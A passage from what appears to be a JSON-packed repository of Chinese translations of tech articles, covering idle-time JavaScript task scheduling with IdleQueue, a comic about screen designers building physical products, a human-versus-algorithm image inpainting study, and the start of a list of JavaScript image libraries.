在页面的生命周期中的调用时机，他们也倾向于求稳，让所有代码同步运行（这很不幸，因为从用户体验方面来说这些分析代码毫无作用）。\n\n但是使用“空闲执行，紧急优先”模式来解决这个问题就很简单了。我们所要做的就是确保只要页面处于将要卸载的状态，就会立即运行队列中的网站分析代码。\n\n如果你熟悉我近期发表在 [Page Lifecycle API](https://developers.google.com/web/updates/2018/07/page-lifecycle-api) 的文章里面给出的建议，你就会知道在页面被终止或丢弃之前，[最后一个可靠的回调函数](https://developers.google.com/web/updates/2018/07/page-lifecycle-api#advice-hidden)是 `visibilitychange` 事件（因为页面的 `visibilityState` 属性会变为隐藏）。而且用户无法在页面隐藏的情况下进行交互，因此这正是运行空闲任务的最佳时机。\n\n实际上，如果你使用了 `IdleQueue` 类，可以通过一个简单的配置项传递给构造函数，来启用该功能。\n\n```\nconst queue = new IdleQueue({ensureTasksRun: true});\n```\n\n对于渲染等任务，无需确保在页面卸载之前运行任务，但对于保存用户状态和发送结束回话分析等任务，可以选择将此选项设置为 `true`。\n\n**注意：** 监听 `visibilitychange` 事件应该足以确保在卸载页面之前运行任务，但是由于 Safari 的漏洞，当用户关闭选项卡时，[页面隐藏和 `visibilitychange` 事件并不总是触发](https://github.com/GoogleChromeLabs/page-lifecycle/issues/2)，我们必须实现一个解决方案来适配 Safari 浏览器。这个解决方案已经在 `IdleQueue` 类中[为你实现好了](https://github.com/GoogleChromeLabs/idlize/blob/master/IdleQueue.mjs#L60-L69)，但如果你需要自己实现它，则需注意这一点。\n\n**警告！** 不要使用监听 `unload` 事件的方式来执行页面卸载前需要执行的队列。`unload` 事件不可靠，在某些情况下还会降低性能。有关更多详细信息，请参阅我在 [Page Lifecycle API 上的文章](https://developers.google.com/web/updates/2018/07/page-lifecycle-api#the-unload-event)。\n\n## “空闲执行，紧急优先”策略的使用实例\n\n每当要运行可能非常耗时的代码时，应该尝试将其拆解为更小的任务。如果不需要立即运行该代码，但未来某些时候可能需要，那么这就是一个使用“空闲执行，紧急优先”策略的完美场景。\n\n在你自己的代码中，我建议做的第一件事是查看所有构造函数，如果存在可能会很耗时的操作，使用 [`IdleValue`](https://github.com/GoogleChromeLabs/idlize/blob/master/docs/IdleValue.md) 对象重构它们。\n\n对于一些必需但又不用直接与用户交互的逻辑部分代码，请考虑将这些逻辑添加到 [`IdleQueue`](https://github.com/GoogleChromeLabs/idlize/blob/master/docs/IdleQueue.md) 中。不用担心，你可以在任何你需要的时候立即运行该代码。\n\n特别适合使用该技术的两个具体实例（并且与大部分网站相关）是持久化应用状态（如 Redux）和网站分析。\n\n**注意：** 这些使用实例的**目的**都是使任务在空闲时间运行，因此如果这些任务不立即运行则没有问题。如果你需要处理高优先级的任务，**想要**让它们尽快运行（但仍然优先级低于用户输入），那么 `requestIdleCallback()` 可能无法解决你的问题。\n\n幸运的是，我的几个同事开发出了新的 web 平台 API（[`shouldYield()`](https://discourse.wicg.io/t/shouldyield-enabling-script-to-yield-to-user-input/2881/17) 和原生的 [Scheduling API](https://github.com/spanicker/main-thread-scheduling/blob/master/README.md)）可以帮助我们解决这个问题。\n\n### 持久化应用状态\n\n我们来看一个 Redux 应用程序，它将应用程序状态存储在内存中，但也需要将其存储在持久化存储（如 localStorage）中，以便用户下次访问页面时可以重新加载。\n\n大多数使用 localStorage 持久化存储状态的 Redux 应用程序使用了防抖技术，大致代码如下：\n\n```\nlet debounceTimeout;\n\n// 使用 1000 毫秒的抖动时间将状态更改保存到 localStorage 中。\nstore.subscribe(() => {\n  // 清除等待中的写入操作，因为有新的修改需要保存。\n  clearTimeout(debounceTimeout);\n\n  // 在 1000 毫秒（防抖）之后执行保存操作，\n  // 频繁的变化没有必要保存。\n  debounceTimeout = setTimeout(() => {\n    const jsonData = JSON.stringify(store.getState());\n    localStorage.setItem('redux-data', jsonData);\n  }, 1000);\n});\n```\n\n虽然使用防抖技术总比什么都不做强，但它并不是一个完美的解决方案。问题是无法保证防抖函数的运行不会阻塞对用户至关重要的主线程。\n\n在空闲时间执行 localStorage 写入会好得多。你可以将上述代码从防抖策略转换为“空闲执行，紧急优先”策略，如下所示：\n\n```\nconst queue = new IdleQueue({ensureTasksRun: true});\n\n// 当浏览器空闲的时候存储状态更改，\n// 为了避免多余地执行代码我们只存储最近发生的状态更改。\nstore.subscribe(() => {\n  // 清除等待中的写入操作，因为有新的修改需要保存。\n  queue.clearPendingTasks();\n\n  // 当空闲时执行保存操作。\n  queue.pushTask(() => {\n    const jsonData = JSON.stringify(store.getState());\n    localStorage.setItem('redux-data', jsonData);\n  });\n});\n```\n\n请注意，此策略肯定比使用防抖策略更好，因为它能够保证即使用户离开页面之前将状态存储好。如果使用上面的防抖策略的例子，在用户离开页面的情况下，很有可能造成写入状态失败。\n\n### 网站分析\n\n另一个“空闲执行，紧急优先”策略适合的实例就是网站分析代码。下面的例子教你如何使用 `IdleQueue` 类来发送你的网站分析数据，并且可以保证，即使用户关闭了标签页或跳转到了其他页面，并且还没有等到下次的空闲时间，这些数据也可以**正常发送**：\n\n```\nconst queue = new IdleQueue({ensureTasksRun: true});\n\nconst signupBtn = document.getElementById('signup');\nsignupBtn.addEventListener('click', () => {\n  // 将其添加到空闲队列中，不再立即发送事件。\n  // 空闲队列能够保证事件被发送，即使用户\n  // 关闭标签页或跳转到了其他页面。\n  queue.pushTask(() => {\n    ga('send', 'event', {\n      eventCategory: 'Signup Button',\n      eventAction: 'click',\n    });\n  });\n});\n```\n\n除了可以保证紧急情况之外，把这个任务添加到空闲时间队列也能够确保其不会阻塞响应用户点击事件的其他代码。\n\n实际上，我建议将你所有的网站分析代码放到空闲时间执行，包括初始化代码。而且像 analytics.js 这样的库，其 [API 已经支持命令队列](https://developers.google.com/analytics/devguides/collection/analyticsjs/how-analyticsjs-works#the_ga_command_queue)，我们只需简单地在我们的 `IdleQueue` 实例上添加这些命令。\n\n例如，你可以将[默认的 analytics.js 初始化代码片段](https://developers.google.com/analytics/devguides/collection/analyticsjs/#the_javascript_tracking_snippet)的最后一部分：\n\n```\nga('create', 'UA-XXXXX-Y', 'auto');\nga('send', 'pageview');\n```\n\n修改为：\n\n```\nconst queue = new IdleQueue({ensureTasksRun: true});\n\nqueue.pushTask(() => ga('create', 'UA-XXXXX-Y', 'auto'));\nqueue.pushTask(() => ga('send', 'pageview'));\n```\n\n（你也可以像[我做的](https://github.com/philipwalton/blog/blob/0670d46/assets/javascript/analytics.js#L114-L127)一样对 `ga()` 使用包装器，使其能够自动执行队列命令）。\n\n## requestIdleCallback 的浏览器兼容性\n\n在撰写本文时，只有 Chrome 和 Firefox 支持 `requestIdleCallback()`。虽然真正的 polyfill 是不可能的（只有浏览器可以知道它何时空闲），但是使用 setTimeout 作为一个备用方案还是很容易的（本文提到的所有帮助类和方法都使用这个[备用方案](https://github.com/GoogleChromeLabs/idlize/blob/master/docs/idle-callback-polyfills.md)）。\n\n而且即使在不原生支持 `requestIdleCallback()` 的浏览器中，使用 `setTimeout` 这种备用方案也比不用强，因为浏览器仍然是优先处理用户输入，然后再处理通过 `setTimeout()` 函数创建的队列中的任务。\n\n## 使用本策略实际上提高了多少性能？\n\n在本文开头我提到我想出了这个策略，因为我试图提高我网站的 FID 值。我尝试拆分那些页面开始加载就运行的代码，并且还得保证一些使用了同步 API 的第三方库（如 analytics.js）的正常运行。\n\n上文已经提到，在我使用“空闲执行，紧急优先”策略之前，我所有初始化代码集中在了一个任务中，耗费了 233 毫秒。在使用了“空闲执行，紧急优先”策略之后，可以看到出现了更多耗时更短的任务。实际上，最长的一个任务也仅仅耗时 37 毫秒！\n\n[![我网站的 JavaScript 性能跟踪图，上面展示了很多短任务。](https://philipwalton.com/static/idle-until-urget-after-4789aca119.png)](https://philipwalton.com/static/idle-until-urget-after-1400w-d526f6cca8.png)\n\n我网站的 JavaScript 性能跟踪图，上面展示了很多短任务。\n\n需要重点强调的是，使用新策略重构的代码和之前执行的任务的数量是相同的，变化仅仅是将其拆分为了多个任务，并且在空闲时间里执行它们。\n\n因为所有任务都不超过 50 毫秒，所以没有任何一个任务影响我的交互时间（TTI），这对我的 lighthouse 得分很有帮助：\n\n[![使用了“空闲执行，紧急优先”策略后，我的 lighthouse 报告 — 一共 100 分！](https://philipwalton.com/static/lighthouse-report-4721b091da.png)](https://philipwalton.com/static/lighthouse-report-1400w-1136c250ac.png)\n\n使用了“空闲执行，紧急优先”策略后，我的 lighthouse 报告。\n\n最后, 由于本工作的目的是提高我网站的 FID, 在将这些变更上线之后, 经过分析，我非常兴奋地看到：**对于 99% 的页面，FID 减少了 67%！**\n\n| Code version | FID (p99) | FID (p95) | FID (p50) |\n| ------------ | --------- | --------- | --------- |\n| Before _idle-until-urgent_ | **254ms** | 20ms | 3ms |\n| After _Idle-until-urgent_ | **85ms** | 16ms | 3ms |\n\n## 总结\n\n在理想情况下，我们的网站再也不会不必要地阻塞主线程了。我们会使用 web worker 来处理我们非 UI 的工作，而且我们还有浏览器内置好的 [`shouldYield()`](https://discourse.wicg.io/t/shouldyield-enabling-script-to-yield-to-user-input/2881/17) 和原生的 [Scheduling API](https://github.com/spanicker/main-thread-scheduling/blob/master/README.md)。\n\n但在实际情况下，我们网站工程师往往没有选择，只能将非 UI 的代码放到主线程去执行，这导致了网页出现无响应的问题。\n\n希望这篇文章已经说服了你，是时候去打破我们的长耗时 JavaScript 任务了。而且“空闲执行，紧急优先”策略能够把看起来同步的 API 转到空闲时间运行，能够和全部我们已知的和使用中的工具库结合，“空闲执行，紧急优先”是一个极好的解决方案。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/if-screen-product-designers-designed-physical-products.md",
    "content": "> * 原文地址：[If Screen Product Designers Designed Physical Products](https://thedesignteam.io/if-screen-product-designers-designed-physical-products-10cdd3ac4fdc)\n> * 原文作者：[Pablo Stanley](https://thedesignteam.io/@pablostanley?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/if-screen-product-designers-designed-physical-products.md](https://github.com/xitu/gold-miner/blob/master/TODO1/if-screen-product-designers-designed-physical-products.md)\n> * 译者：[ssshooter](https://github.com/ssshooter)\n> * 校对者：[Park-ma](https://github.com/Park-ma)\n\n# 如果界面产品设计师设计实体产品\n\n## 用漫画解释\n\n![](https://cdn-images-1.medium.com/max/1000/1*vmDOrxSbQ_QoLGUj6GDGlg.gif)\n\n在过去，当有人问我我的职业是什么时，我会说我是**产品设计师**。他们马上会问是什么样的产品。家具，飞机，收音机，耳机，性玩具？尴尬，我会解释，我的意思是**虚拟**产品——“嗯，就像网站和应用程序之类的。”接着对方会露出疑惑的神情。\n\n“我喜欢称那些东西为**产品**，是因为它们让我觉得很重要。但通常情况下，我只设计像素相关与虚拟的东西。”我会进一步解释。\n\n现在，我只会说，**我是设计师**。\n\n但问题仍然存在。我还是需要解释，我并不设计室内装饰，衣服或灯具（但我很乐意！）\n\n我常很好奇，若是我像当**界面**产品设计师一样设计**实体**产品，会怎么样呢？我会遵循相同的以人为本（human-centered）的处理，还是会尝试设计细致到每一像素（pixel-perfect）的椅子？\n\n以下漫画是关于这个想法的畅想。\n\n**注意：每张图片后，都有漫画的文字版本。这看起来信息冗余，但更方便阅读。**\n\n* * *\n\n### 设计一把椅子\n\n![](https://cdn-images-1.medium.com/max/800/1*r9KBuMw6tZiAi2OH7bD4gg.jpeg)\n\n“在我们添加更多功能之前，我们会等待客户反馈。”\n\nFrances 和 Paul 站在一起，他们之间的是一根固定在地上的木棍，Frances 看起来很困惑。\n\n**FRANCES**：（指着棍子）说好的椅子呢？\n\n**PAUL**：噢，这只是它的**MVP（最小化可行产品）**版。\n\n* * *\n\n### 自行车\n\n![](https://cdn-images-1.medium.com/max/800/1*MAEVKo_Uktu09Zz0LQ-seQ.jpeg)\n\n“你知道 Dieter Rams 吗，老哥？”\n\nPetunia 和 Paul 站在一起，他们之间的似乎是一台独轮车，Petunia 看起来很困惑。\n\n**PETUNIA**：（挠头）我们需要的是自行车，而不是独轮车。\n\n**PAUL**：这**是**一辆自行车。我只是进行了**简化**，删除了多余的元素。\n\n* * *\n\n### 咖啡杯\n\n![](https://cdn-images-1.medium.com/max/800/1*JYgwR1xA7MSeVI8DAiKBmg.jpeg)\n\n“提高了用户体验，让人愉悦，更方便……如果你有可以高速上网的最新设备。“\n\nGabs 和 Paul 站在一起，Paul 把手机贴在眼前，右手胡乱摆弄着，Gabs 似乎很不高兴。\n\n**GABS**：你设计的是咖啡杯吗？\n\n**PAUL**：不仅如此，我创造了一种咖啡 **AR** 体验，更现实！\n\n* * *\n\n### 桌子\n\n![](https://cdn-images-1.medium.com/max/800/1*X4cj_1S7CQHX8Yb6iLY8Sw.jpeg)\n\n“GTM（Go-to-market）策略打算为 B2B GA（正式发布版本）准备一个MVP，这个 GA 基于我们的 R&D（Research And Development 研究与开发），所以我们可以通过 SAAS 的 IP 获得 ROI（投资回报率）。”\n\nFrances 和 Paul 站在一张木桌旁边，桌子上有几个水平对齐的按钮，从左到右画着从愤怒到快乐的面孔。Frances 很好奇。\n\n**FRANCES**：餐桌看起来很好……但是按钮都有什么用？\n\n**PAUL**：我们需要更多 **CTA（Call-To-Action 意味引导用户采取某些行动，有利于用户转化）**来提升 **Q4（第四季度）**的 **NPS（Net Promoter Score 即净推荐值）KPI（关键绩效指标）**！\n\n* * *\n\n### 吉他\n\n![](https://cdn-images-1.medium.com/max/800/1*QJF1owveaJD1fDnHRb36uQ.jpeg)\n\n空气吉他 —— 不是 flaw，是 feature！\n\nGabs 拿着一把古怪的吉他，上面覆盖着特殊的颜色。Paul 在一旁自信得飘飘然。但 Gabs 看起来却很生气。\n\n**GABS**：你忘记加弦！\n\n**PAUL**：是的，但你看到这渐变是多么令人愉快吗？\n\n* * *\n\n![](https://cdn-images-1.medium.com/max/800/1*OtiVedoV9YicOXGliFo7AA.jpeg)\n\nHola，amigxs（西班牙语：你好，我的朋友）。我是 [Pablo Stanley](https://twitter.com/pablostanley)，来自 [InVision](https://medium.com/@InVisionApp) 的设计师。\n\n我常在 [**Twitter**](https://twitter.com/pablostanley) 上发布漫画与设计相关内容。如果你对此感兴趣，请关注我。\n\n我还有一个名为 [**Sketch Together**](http://youtube.com/c/sketchtogethertv) 的 YouTube 频道，发布了不少设计教程和直播。\n\n在 [Lumen Bigott](https://medium.com/@lumenbigott) 和我合作的西班牙语设计播客 [**Diseño Cha Cha Cha**](https://www.disenochachacha.com/) 中，我们会采访一些从事科技工作，富有创意的拉丁美洲人。\n\nUn fuerte abrazo（西班牙语：一个大大的拥抱）。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
    "path": "TODO1/image-inpainting-humans-vs-ai.md",
    "content": "> * 原文地址：[Image Inpainting: Humans vs. AI](https://towardsdatascience.com/image-inpainting-humans-vs-ai-48fc4bca7ecc)\n> * 原文作者：[Mikhail Erofeev](https://medium.com/@mikhail_26901)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/image-inpainting-humans-vs-ai.md](https://github.com/xitu/gold-miner/blob/master/TODO1/image-inpainting-humans-vs-ai.md)\n> * 译者：[Starry](https://github.com/Starry316)\n> * 校对者：[lsvih](https://github.com/lsvih), [Amberlin1970](https://github.com/Amberlin1970) \n\n# 图像修复：人类和 AI 的对决\n\n![](https://cdn-images-1.medium.com/max/6000/1*HQxitL28dDEKe1dPp9wdmQ.png)\n\n在许多任务中，深度学习方法优于相应的传统方法，能够取得与人类专家相近甚至是更好的结果。比如说 GoogleNet 在 ImageNet 基准上的表现超过了人类([Dodge and Karam 2017](https://arxiv.org/abs/1705.02498))。这篇文章中，我们对专业艺术家和计算机算法（包括最近基于深度神经网络的方法，或者叫 DNN）进行比较，看看哪一方能够在图像修复上取得更好的结果。\n\n## 图像修复是什么？\n\n图像修复是对一幅图像丢失部分的重构过程，使得观察者察觉不到这些区域曾被修复。这种技术通常用于移除图像中多余的元素，或者是修复老照片中损坏的部分。下面的图片展示了图像修复结果的例子。\n\n图像修复是一门古老的艺术，最初需要人类艺术家手工作业。但如今，研究人员提出了许多自动修复方法。大多数自动修复方法除了图像本身外，还需要输入一个掩码（mask）来表示需要修复的区域。接下来，我们将对九个自动修复方法和专业艺术家对图像修复的结果进行比较。\n\n![图像修复例子：移除一个物体。 （图片来自 [Bertalmío et al., 2000](https://conservancy.umn.edu/bitstream/handle/11299/3365/1/1655.pdf)）](https://cdn-images-1.medium.com/max/2152/1*EOuFiCNYdNde05bi9UmB8A.jpeg)\n\n![图像修复例子：修复一张老旧、损坏的照片。（图片来自 [Bertalmío et al., 2000.](https://conservancy.umn.edu/bitstream/handle/11299/3365/1/1655.pdf)）](https://cdn-images-1.medium.com/max/2412/1*_Ldd9jY-9xS2OEE6Z8FTfw.jpeg)\n\n## 数据集\n\n为了创建测试图片数据集，我们从一个私人照片集中截取了 33 个 512x512 像素的图像。然后将一个 180x180 像素的黑色正方形填充到每个图像片的中心。艺术家和自动方法的任务是，通过只改变黑色正方形中的像素，来恢复失真图像的原样。\n\n我们使用一个私有，未公开的照片集来保证参与对比的艺术家们没有接触过原始图片。虽然不规则的掩码是现实世界图像修复的典型特征，但我们只能在图像中心使用正方形的掩码，因为它们是我们对比实验中一些 DNN 方法所唯一允许的掩码类型。\n\n下面是我们数据集中图片的略缩图。\n\n![图像修复测试集。](https://cdn-images-1.medium.com/max/3188/1*_sOFyA9XY3ATpW4aGdnTtA.png)\n\n## 自动修复方法\n\n我们在测试数据集应用了如下六种基于神经网络的图像修复方法：\n\n1. Deep Image Prior ([Ulyanov, Vedaldi, and Lempitsky, 2017](https://arxiv.org/abs/1711.10925))\n2. Globally and Locally Consistent Image Completion ([Iizuka, Simo-Serra, and Ishikawa, 2017](http://hi.cs.waseda.ac.jp/~iizuka/projects/completion/en/))\n3. High-Resolution Image Inpainting ([Yang et al., 2017](https://arxiv.org/abs/1611.09969))\n4. Shift-Net ([Yan et al., 2018](https://arxiv.org/abs/1801.09392))\n5. Generative Image Inpainting With Contextual Attention ([Yu et al., 2018](https://arxiv.org/abs/1801.07892)) — this method appears twice in our results because we tested two versions, each trained on a different data set (ImageNet and Places2)\n6. Image Inpainting for Irregular Holes Using Partial Convolutions ([Liu et al., 2018](https://arxiv.org/abs/1804.07723))\n\n我们测试了三个在人们对深度学习的兴趣爆发前提出的修复方法（非神经网络方法）作为（对比的）基准：\n\n1. Exemplar-Based Image Inpainting ([Criminisi, Pérez, and Toyama, 2004](http://www.irisa.fr/vista/Papers/2004_ip_criminisi.pdf))\n2. Statistics of Patch Offsets for Image Completion ([He and Sun, 2012](http://kaiminghe.com/eccv12/index.html))\n3. Content-Aware Fill in Adobe Photoshop CS5\n\n## 专业艺术家\n\n我们请了三位从事图像后期调整和修复的专业艺术家，让他们修复从我们的数据库中随机选取的三张图片。为了激励他们得到尽可能好的结果。我们跟他们说，如果他或她的作品比竞争对手好，我们会给酬金增加 50% 作为奖励。尽管我们没有给定严格的时间限制，但所有艺术家都在 90 分钟左右的时间内完成了任务。\n\n下面是结果：\n\n![](https://cdn-images-1.medium.com/max/2000/1*tDhUKacPIfjkfdC24tXd_Q.png)\n\n## 人类 vs. 算法\n\n我们使用[Subjectify.us](http://www.subjectify.us)平台将三个专业艺术家和自动图像修复方法的结果与原始、未失真的图像（即真值（ground truth））进行对比。这个平台将结果以两两配对的方式呈现给研究参与者，让他们在每一对图片中选出一个视觉质量更好的。为了保证参与者做出的是思考后的选择，平台还会让他们在真值图片和图像修复范例结果之间进行选择来验证。 如果应答者没有在一个或两个验证问题中选择出正确答案，平台会将他的所有答案抛弃。最终，平台一共收集到了来自 215 名参与者的 6945 个成对判断。\n\n下面是这次比较的总体和每幅图像的主观质量分数：\n\n![Subjective-comparison results for images inpainted by professional artists and by automatic methods.](https://cdn-images-1.medium.com/max/2852/1*vQFC5lH3mGjAMJyTosgSjw.png)\n\n **“Overall”** 图表表明，所有艺术家的表现都比自动方法好上一大截。只有在一个例子下，一个算法击败了一名艺术家： **Statistics of Patch Offsets** (He and Sun, 2012) 对 **“Urban Flowers”** 图片的修复，得分高过了 **Artist #1** 绘制的图片。还有，只有艺术家修复的图片能够媲美甚至比原图更好：**Artist #2** 和 **#3** 修复的 **“Splashing Sea”** 图片得到了比真值更高的质量分数，**Artist #3** 修复的 **“Urban Flowers”** 得分只比真值低一点点。\n\n在自动方法中获得第一名的是深度学习方法 Generative Image Inpainting。但这并不是压倒性的胜利，因为在我们的研究中，这个算法从来没有在任何图片中取得最高分数。对于 **“Urban Flowers”** 和 **“Splashing Sea”** 第一名分别是非神经网络方法的 **Statistics of Patch Offsets** 和 **Exemplar-Based Inpainting**，而 **“Forest Trail”** 的第一名是深度学习方法 **Partial Convolutions**。值得注意的是，根据总体的排行榜来看，其它的深度学习方法都被非神经网络方法超越。\n\n## 一些有趣的例子\n\n一些结果引起了我们的注意。非神经网络的方法 **Statistics of Patch Offsets** (He and Sun, 2012) 生成的图片比起艺术家修复的图片更受到参与比较者的青睐：\n\n![](https://cdn-images-1.medium.com/max/2000/1*3dDa-RRW6QhZwiFVIrlnfg.png)\n\n此外，高排名的神经网络方法 **Generative Image Inpainting** 得到的图像，获得了比非神经网络方法 **Statistics of Patch Offsets** 更低的分数：\n\n![](https://cdn-images-1.medium.com/max/2000/1*aVpvEogJotWTi2F1YjfJvg.png)\n\n另一个令人惊讶的结果是，2018 年提出的神经网络方法 **Generative Image Inpainting**，得分比 14 年前提出的非神经网络方法（**Exemplar-Based Image Inpainting**）还低：\n\n![](https://cdn-images-1.medium.com/max/2000/1*UFvv4H_C1j-F3pVSi5aPlw.png)\n\n## 算法之间的比较\n\n为了深入比较神经网络方法和非神经网络方法，我们使用 Subjectify.us 进行了一次额外的主观比较。与第一次比较不同，我们使用完整的 33 张图片数据集对这些方法进行比较。\n\n下面是从 147 名研究参与者给出的 3,969 个成对判断中得到总体主观分数。\n\n![自动图像修复方法的主观比较。](https://cdn-images-1.medium.com/max/2358/1*sfhG6AFZ546S6z51aEmuhg.png)\n\n这些结果证实了我们从其他比较中得到的观测结果。第一名（在真值之后）是在 the Places2 数据集上训练的 **Generative Image Inpainting**。没有使用神经网络的 **Content-Aware Fill Tool in Photoshop CS5** 以很小的差别位居第二名。在 ImageNet 上训练的 **Generative Image Inpainting** 获得第三名。值得注意的是，其他所有的非神经网络方法的表现都超过了深度学习方法。\n\n## 结论\n\n我们从自动图像修复方法与专业艺术家的对比研究中得到如下结论：\n\n1. 艺术家的图像修复仍然是取得接近真值质量的唯一方法.\n2. 只有在特定的图像上，自动图像修复方法的结果才能和人类艺术家相媲美。\n3. 尽管在这些自动方法中一个深度学习算法取得了第一名，但非神经网络算法仍然处在一个强有力的位置，并且在众多测试的表现超过了深度学习方法。\n4. 非深度学习方法和专业艺术家（废话）可以修复任意形状的区域，而大部分基于神经网络的却受到掩码形状的严格限制。这个约束使得这些方法在现实世界中的适用性变窄了。我们因此突出强调 **Image Inpainting for Irregular Holes Using Partial Convolutions** 这一深度学习方法上，它的开发人员关注于支持任意形状的掩码。\n\n我们相信未来这一领域的研究，以及 GPU 算力和 RAM 容量的增长，将会使得深度学习算法胜过它们的传统竞争者，得到和人类艺术家相媲美的图像修复结果。然而我们强调，在目前最新的技术下，选择一个传统的图像或视频处理方法，也许会比盲目地只是因为新，而选择一个新的深度学习方法更好。\n\n## 福利\n\n我们已将实验中收集的图片和主观分数进行了分享，因此你可以自己分析这些数据。\n\n* [实验对比中的图像](https://github.com/merofeev/image_inpainting_humans_vs_ai)\n* [主观分数（包含每幅图片的分数）](http://erofeev.pw/image_inpainting_humans_vs_ai/)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/image-manipulation-libraries-for-javascript.md",
    "content": "> * 原文地址：[10 JavaScript Image Manipulation Libraries for 2020](https://blog.bitsrc.io/image-manipulation-libraries-for-javascript-187fde1ad5af)\n> * 原文作者：[Mahdhi Rezvi](https://medium.com/@mahdhirezvi)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/image-manipulation-libraries-for-javascript.md](https://github.com/xitu/gold-miner/blob/master/TODO1/image-manipulation-libraries-for-javascript.md)\n> * 译者：[IAMSHENSH](https://github.com/IAMSHENSH)\n> * 校对者：[niayyy-S](https://github.com/niayyy-S)\n\n# 2020 十大 JavaScript 图像处理库\n\n![](https://cdn-images-1.medium.com/max/2560/1*lXwMUm79vvrK_ZjazwqcbA.jpeg)\n\n用 JavaScript 处理图像可能非常困难且繁琐。幸运的是，有许多库可以使这事变得非常简单。以下是我最喜欢的不同类别的库。\n\n如果你发现有用的东西，尝试将其封装成所选框架的组件。通过这种方式，你将拥有一个具备声明式 API 的可复用组件，并随时可用。\n\n## 1. Pica\n\n此插件可助你减小大图的上传大小，从而节省上传时间。它允许你在浏览器中调整图像大小，响应迅速并且不会出现像素化，因为它会从 Web Workers、WebAssembly、createImageBitmap 方法以及纯 JavaScript 中自动选择最佳的可用技术。\n\n[演示](http://nodeca.github.io/pica/demo/)\n[Github](https://github.com/nodeca/pica)\n\n![](https://cdn-images-1.medium.com/max/2086/1*01gc8wM7mYZxRvzM592r-A.png)\n\n---\n\n## 2. Lena.js\n\n这个炫酷的图像库虽然非常小，但其大约有 22 个图像滤镜，非常好玩。你还可以向 GitHub 仓库中创建并添加新滤镜。\n\n[演示](https://fellipe.com/demos/lena-js/)\n[教程](https://ourcodeworld.com/articles/read/515/how-to-add-image-filters-photo-effects-to-images-in-the-browser-with-javascript-using-lena-js)\n[Github](https://github.com/davidsonfellipe/lena.js)\n\n![](https://cdn-images-1.medium.com/max/2718/1*rLKUyfeo_LUvvcRr7cYN0Q.png)\n\n---\n\n## 3. Compressor.js\n\n这是一个简单的 JavaScript 图像压缩器，它使用浏览器原生的 [canvas.toBlob](https://developer.mozilla.org/en-US/docs/Web/API/HTMLCanvasElement/toBlob) API 来处理图像压缩。这使你可以在 0 到 1 之间设置压缩输出质量。\n\n[演示](https://fengyuanchen.github.io/compressorjs/)\n[Github](https://github.com/fengyuanchen/compressorjs)\n\n![](https://cdn-images-1.medium.com/max/2334/1*hp85KWNmfPftt0MFj_qtEA.png)\n\n---\n\n## 4. Fabric.js\n\nFabric.js 允许你使用 JavaScript 在网页上的 HTML `\\ <canvas>` 元素上轻松创建简单的形状，例如矩形、圆形、三角形和其他多边形，或者由许多路径组成的更复杂的形状。Fabric.js 还允许你使用鼠标来操纵这些对象的大小，位置和旋转。\n\n也可以使用 Fabric.js 库更改这些对象的属性，例如它们的颜色，透明度，网页上的深度位置，或选择这些对象的组。Fabric.js 还允许你将 